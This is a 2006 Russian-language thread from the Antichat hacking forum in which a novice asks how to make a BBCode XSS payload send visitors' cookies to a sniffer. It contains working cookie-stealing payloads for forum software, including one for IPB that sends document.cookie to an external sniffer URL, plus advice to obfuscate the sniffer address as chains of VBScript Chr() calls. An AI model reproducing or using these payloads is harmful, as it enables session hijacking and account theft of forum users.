Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Как в такой XSS указать путь к античтовскому снифферу? (https://forum.antichat.xyz/showthread.php?t=15011)

Vovec 25.02.2006 15:15

Как в такой XSS указать путь к античтовскому снифферу?
 
Помогите перваку, как в такой XSS
Код HTML:

[color=FFFFFF;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/color]
указать путь к античатовскому снифферу. Вопрос лажовый, думаю вам ответить на него пару пустяков...

Nova 25.02.2006 15:35

Цитата:

Сообщение от Vovec
Помогите перваку, как в такой XSS [color=FFFFFF;background:url(vbscript:location.repl ace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr( 102)+document.cookie))]a[/color] [/HTML] указать путь к античатовскому снифферу. Вопрос лажовый, думаю вам ответить на него пару пустяков...

И как ты предстовляеш себе реализаию XSS с элементами C++ если я не ошибаюсь ???

Electro 25.02.2006 16:37

Я ничё не понял

vectorg 25.02.2006 16:55

там vbscript, а Chr( ) это встроенная функция, возвращающая символ, имеющий заданный код ASCII

коды ASCII - http://electronics.sortos.ru/docs/ascii_table.html

составляешь цепочку из Chr() где и будет твой код сниффера и не забудь пробел убрать ("repl ace" -> "replace")

;)

незабудь про ±

Meister 25.02.2006 17:38

все ответили так же как и я только у меня у одного пост удалили почему-то.

Vovec 25.02.2006 18:31

VectorG я то тебе + могу поставить, мне ни жалко...Только я ничерта не понял, как должна быть выгледеть это цепочка, чтоб в ней был код сниффера...
Попробую спросить вас по другому, что мне надо добавить в этот XSS, чтоб после его, размешенния куки пользователей приходили на сниффер.
Вот например после размешенния вот такой XSS
Код HTML:

[em*ail]wj@wj[u*rl=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://site/snif.jpg?"+document.cookie);`
на IPB мне сливаються куки. Вот как в той XSS реализовать это, если это вообще возможно?

Vovec 26.02.2006 00:05

VectorG я понял так твой пост...
Если URL к снифферу будет выглядить например вот так "http://site/snif.php" то мне надо в скобки Chr вставлять каждый символ URL'а , тоесть например http должно выглядить так, к примеру по коду Decimal из таблицы ASCII

Код:

Chr(104)+Chr(116)+Chr(116)+Chr(112)
Я правильно понял? Если нет, то ни мог бы ты поконкретний объяснить?

Xex 26.02.2006 17:34

To Vovec: ты прально понял...

podkashey 27.02.2006 02:50

Vovec, а в чем вопрос? тебе дали таблицу аски. Ты хочешь, чтобы тебе перевели http://site/snif.php к виду chr()? Ну тогда предоставь полный адрес снифера. И то не знаю есть ли здесь альтруисты... ;)

Vovec 27.02.2006 05:06

podkashey да не, я всё что к чему уже понял, сначало просто не догнал.Только есть ещё вапросы, на которые я надеюсь вы дадите ответы. Если я укажу URL каторый я указал ниже, в кодах ACSII к примеру,то он будет работать или я его не правильно сформировал? И ещё вопрос, в коды ACSII надо загонять только URL, или также всё что идёт после s.jpg
Код:

http://antichat.ru/cgi-bin/s.jpg?+document.cookie
Больше негде спросить, кроме как у вас...


Время: 14:37